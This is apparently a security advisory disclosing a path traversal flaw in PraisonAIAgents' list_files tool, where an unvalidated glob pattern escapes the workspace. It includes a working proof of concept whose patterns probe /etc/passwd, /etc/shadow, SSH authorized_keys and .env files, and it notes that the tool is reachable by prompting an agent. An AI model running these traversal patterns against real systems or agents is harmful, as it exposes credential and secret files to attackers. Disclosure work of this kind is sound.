PraisonAIAgents: Path Traversal via Unvalidated Glob Pattern in list_files Bypasses Workspace Boundary

Summary

The list_files() tool in FileTools validates the directory parameter against workspace boundaries via _validate_path(), but passes the pattern parameter directly to Path.glob() without any validation. Since Python's Path.glob() supports .. path segments, an attacker can use relative path traversal in the glob pattern to enumerate arbitrary files outside the workspace, obtaining file metadata (existence, name, size, timestamps) for any path on the filesystem.

Details

The _validate_path() method at file_tools.py:25 correctly prevents path traversal by checking for .. segments and verifying the resolved path falls within the current workspace. All file operations (read_file, write_file, copy_file, etc.) route through this validation.

However, list_files() at file_tools.py:114 only validates the directory parameter (line 127), while the pattern parameter is passed directly to Path.glob() on line 130:

@staticmethod
def list_files(directory: str, pattern: Optional[str] = None) -> List[Dict[str, Union[str, int]]]:
    try:
        safe_dir = FileTools._validate_path(directory)  # directory validated
        path = Path(safe_dir)
        if pattern:
            files = path.glob(pattern)  # pattern NOT validated — traversal possible
        else:
            files = path.iterdir()

        result = []
        for file in files:
            if file.is_file():
                stat = file.stat()
                result.append({
                    'name': file.name,
                    'path': str(file),     # leaks path structure
                    'size': stat.st_size,   # leaks file size
                    'modified': stat.st_mtime,
                    'created': stat.st_ctime
                })
        return result

Python's Path.glob() resolves .. segments in patterns (tested on Python 3.10–3.13), allowing the glob to traverse outside the validated directory. The matched files on lines 136–144 are never checked against the workspace boundary, so their metadata is returned to the caller.

This tool is exposed to LLM agents via the file_ops tool profile in tools/profiles.py:53, making it accessible to any user who can prompt an agent.

PoC

from praisonaiagents.tools.file_tools import list_files

# Directory "." passes _validate_path (resolves to cwd, within workspace)
# But pattern "../../../etc/passwd" causes glob to traverse outside workspace

# Step 1: Confirm /etc/passwd exists and get metadata
results = list_files('.', '../../../etc/passwd')
print(results)
# Output: [{'name': 'passwd', 'path': '/workspace/../../../etc/passwd',
#           'size': 1308, 'modified': 1735689600.0, 'created': 1735689600.0}]

# Step 2: Enumerate all files in /etc/
results = list_files('.', '../../../etc/*')
for f in results:
    print(f"{f['name']:30s} size={f['size']}")
# Output: lists all files in /etc with their sizes

# Step 3: Discover user home directories
results = list_files('.', '../../../home/*/.ssh/authorized_keys')
for f in results:
    print(f"Found SSH keys: {f['name']} at {f['path']}")

# Step 4: Find application secrets
results = list_files('.', '../../../home/*/.env')
results += list_files('.', '../../../etc/shadow')